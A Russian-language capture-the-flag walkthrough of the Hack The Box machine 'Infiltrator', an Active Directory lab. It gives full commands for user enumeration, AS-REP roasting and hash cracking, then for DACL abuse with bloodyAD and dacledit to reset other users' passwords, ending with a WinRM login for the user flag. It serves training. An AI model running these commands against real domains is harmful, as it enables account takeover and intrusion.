
Вступление
Infiltrator — машина уровня Insane на платформе Hack The Box, построенная на Windows Active Directory и нафаршированная всем, что может только пожелать фанат сложных AD-эксплойтов: Kerberos, LDAP, неправильные настройки DACL, GMSA, внутренние приложения и, как вишенка на торте — уязвимость ADCS ESC4. Эта машина требует не просто знания команд, а умения анализировать поведение инфраструктуры, понимать логику бизнес-процессов и грамотно комбинировать инструменты.
В процессе прохождения мы:
-
получим начальный доступ через Kerberos AS-REP Roasting;
-
проанализируем внутренние группы и роли в AD;
-
сходим в Output Messenger и узнаем много интересного из корпоративной переписки;
-
декомпилируем .NET-приложение и напишем декриптор на Python;
-
получим доступ к дампу AD, изучим GMSA, и в итоге скомпрометируем CA через ESC4.
Перечисление и разведка
Первый этап начинается с полного сканирования портов командой:
nmap -A -v -p- 10.10.11.31
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Infiltrator.htb
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-26 16:33:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after: 2099-07-17T18:48:15
| MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
|_ssl-date: 2025-01-26T16:37:12+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after: 2099-07-17T18:48:15
| MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
|_ssl-date: 2025-01-26T16:37:12+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-26T16:37:12+00:00; 0s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after: 2099-07-17T18:48:15
| MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after: 2099-07-17T18:48:15
| MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
|_ssl-date: 2025-01-26T16:37:12+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-01-26T16:37:12+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Issuer: commonName=dc01.infiltrator.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-24T20:21:43
| Not valid after: 2025-07-26T20:21:43
| MD5: d4cb:9383:af69:e85e:9a8a:9233:b451:e8ed
|_SHA-1: ae80:7e95:4ab3:d4da:00cf:484f:ef0a:c199:8c99:8efd
| rdp-ntlm-info:
| Target_Name: INFILTRATOR
| NetBIOS_Domain_Name: INFILTRATOR
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: infiltrator.htb
| DNS_Computer_Name: dc01.infiltrator.htb
| DNS_Tree_Name: infiltrator.htb
| Product_Version: 10.0.17763
|_ System_Time: 2025-01-26T16:36:33+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
15220/tcp open unknown
49667/tcp open msrpc Microsoft Windows RPC
49690/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49691/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49720/tcp open msrpc Microsoft Windows RPC
49751/tcp open msrpc Microsoft Windows RPC
49843/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Результаты сканирования показывают, что перед нами — полноценная Active Directory-среда на Windows-сервере. Среди интересных портов:
-
80/tcp – HTTP (Microsoft IIS 10.0)
-
88/tcp – Kerberos
-
389, 636, 3268, 3269/tcp – LDAP
-
445/tcp – SMB
-
5985/tcp – WinRM
-
3389/tcp – RDP
В сертификате, полученном на одном из LDAP-портов, видно, что домен называется INFILTRATOR.HTB, а имя контроллера домена — dc01.infiltrator.htb. Это важные сведения, которые пригодятся нам для Kerberos-аутентификации и последующей работы с LDAP.
Настройка /etc/hosts
Чтобы всё работало корректно, добавим DNS-имена в файл /etc/hosts
. Это нужно, чтобы инструменты вроде kerbrute, impacket и bloodhound-python могли разрешать доменные имена:
sudo nano /etc/hosts
Добавляем строку:
10.10.11.31 dc01.infiltrator.htb infiltrator.htb

Теперь всё готово для дальнейшей атаки.
Особое внимание привлекает веб-сервер на порту 80. Перейдя по адресу http://10.10.11.31, мы попадаем на сайт infiltrator.htb, где обнаруживаем список имён сотрудников.

Собираем список и генерируем свой для дальнейших атак
David.Anderson
Olivia.Martinez
Kevin.Turner
Amanda.Walker
Marcus.Harris
Lauren.Clark
Ethan.Rodriguez
D.Anderson
O.Martinez
K.Turner
A.Walker
M.Harris
L.Clark
E.Rodriguez
David.A
Olivia.M
Kevin.T
Amanda.W
Marcus.H
Lauren.C
Ethan.R
DavidAnderson
OliviaMartinez
KevinTurner
AmandaWalker
MarcusHarris
LaurenClark
EthanRodriguez
Подбираем потенциальные имена пользователей через kerbrute
kerbrute userenum user -d infiltrator.htb —dc infiltrator.htb

Сохраняем полученный список пользователей для дальнейшего перечисления
D.Anderson
O.Martinez
K.Turner
A.Walker
M.Harris
L.Clark
E.Rodriguez
Следующий шаг — проверка уязвимости AS-REP Roasting. Для этого используем скрипт GetNPUsers из пакета Impacket, который позволяет извлечь хэши пользователей, не требующих предварительной аутентификации (Pre-Auth disabled):
impacket-GetNPUsers infiltrator.htb/ -dc-ip 10.10.11.31 -usersfile user.txt -format hashcat -outputfile hash_krb5asrep

Один из хэшей успешно получен, и мы передаём его на взлом с помощью hashcat и стандартного словаря rockyou.txt:
hashcat -m 18200 hash_krb5asrep rockyou.txt

В результате подбирается пароль:
L.Clark : WAT?watismypass!
Проверим доступ к LDAP и получим список пользователей:
netexec ldap 10.10.11.31 -u L.Clark -p ‘WAT?watismypass!’ —users
Запрос проходит успешно. Более того, в описании одного из пользователей обнаруживаем новый пароль — это отличная возможность для дальнейшего продвижения. Таким образом, от одной учётки мы переходим к следующей, расширяя уровень доступа и зону видимости внутри инфраструктуры.

Имея доступ к LDAP через учётную запись L.Clark, продолжаем разведку. С помощью bloodhound-python собираем информацию о домене и правах пользователей:
bloodhound-python -u L.Clark -p ‘WAT?watismypass!’ -ns 10.10.11.31 -d infiltrator.htb -c All —zip

Изучаем граф BloodHound

После анализа графа в BloodHound становится ясно: у пользователя D.Anderson есть право GenericAll на организационную единицу MARKETING DIGITAL. Это значит, что через DACL мы можем изменить атрибуты объектов внутри этой OU, включая пароли других пользователей.

Сначала получаем Kerberos TGT для D.Anderson:
impacket-getTGT ‘infiltrator.htb/D.ANDERSON’:’WAT?watismypass!’ -dc-ip 10.10.11.31

используя bloodyAD меняем пароль пользователя E.RODRIGUEZ, который находится в том же подразделении:
KRB5CCNAME=D.ANDERSON.ccache impacket-dacledit -action ‘write’ -rights ‘FullControl’ -inheritance -principal ‘D.ANDERSON’ -target-dn ‘OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB’ ‘infiltrator.htb’/’D.ANDERSON’:’WAT?watismypass!’ -k -no-pass -dc-ip 10.10.11.31

MARKETING DIGITAL@INFILTRATOR.HTB Contains E.RODRIGUEZ@INFILTRATOR.HTB

меняем пароль так как имеем на это право
KRB5CCNAME=D.ANDERSON.ccache bloodyAD -d ‘infiltrator.htb’ -u ‘D.ANDERSON’ -p ‘WAT?watismypass!’ —host dc01.infiltrator.htb —dc-ip 10.10.11.31 -k set password ‘E.RODRIGUEZ’ ‘P@ssword1234’

E.RODRIGUEZ@INFILTRATOR.HTB AddSelf CHIEFS MARKETING@INFILTRATOR.HTB

У E.RODRIGUEZ есть право AddSelf на группу CHIEFS MARKETING. Это позволяет самостоятельно добавить себя в группу:
impacket-getTGT ‘infiltrator.htb’/’E.RODRIGUEZ’:’P@ssword1234′ -dc-ip dc01.infiltrator.htb
KRB5CCNAME=E.RODRIGUEZ.ccache bloodyAD —host ‘dc01.infiltrator.htb’ -d ‘infiltrator.htb’ —dc-ip 10.10.11.31 -u ‘E.RODRIGUEZ’ -k add groupMember ‘CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB’ E.RODRIGUEZ

CHIEFS MARKETING@INFILTRATOR.HTB ForceChangePassword M.HARRIS@INFILTRATOR.HTB

После вступления в группу, E.RODRIGUEZ получает право ForceChangePassword над пользователем M.HARRIS. Это позволяет без знания старого пароля сменить его:
KRB5CCNAME=E.RODRIGUEZ.ccache bloodyAD -d ‘infiltrator.htb’ -u ‘E.RODRIGUEZ’ -p ‘P@ssword1234’ —host dc01.infiltrator.htb —dc-ip 10.10.11.31 -k set password ‘M.HARRIS’ ‘P@ssword1234’

M.HARRIS@INFILTRATOR.HTB CanPSRemote DC01.INFILTRATOR.HTB

Перед использованием инструментов, работающих с Kerberos-аутентификацией (таких как getTGT, psexec, kerberoast, evil-winrm с флагом -k и других), необходимо правильно настроить Kerberos-клиент на машине атакующего. Без этого возможны ошибки, например KDC not reachable или cannot find realm, поскольку система не сможет определить, куда направлять Kerberos-запросы и как разрешать доменные имена.
Чтобы всё работало корректно, нужно отредактировать файл sudo /etc/krb5.conf, указав в нём домен, контроллер и правила сопоставления DNS-имён. Это обеспечит стабильную работу с Active Directory, позволит получать тикеты и использовать Kerberos-аутентификацию без сбоев.
[libdefaults]
default_realm = INFILTRATOR.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
INFILTRATOR.HTB = {
kdc = dc01.infiltrator.htb
}
[domain_realm]
.infiltrator.htb = INFILTRATOR.HTB
infiltrator.htb = INFILTRATOR.HTB
USER FLAG
После настройки конфигурации можно безопасно получать TGT (Kerberos Ticket Granting Ticket) и мы получаем первый флаг
impacket-getTGT ‘infiltrator.htb’/’M.HARRIS’:’P@ssword1234′ -dc-ip dc01.infiltrator.htb
KRB5CCNAME=M.HARRIS.ccache evil-winrm -i dc01.infiltrator.htb -u M.HARRIS -r infiltrator.htb
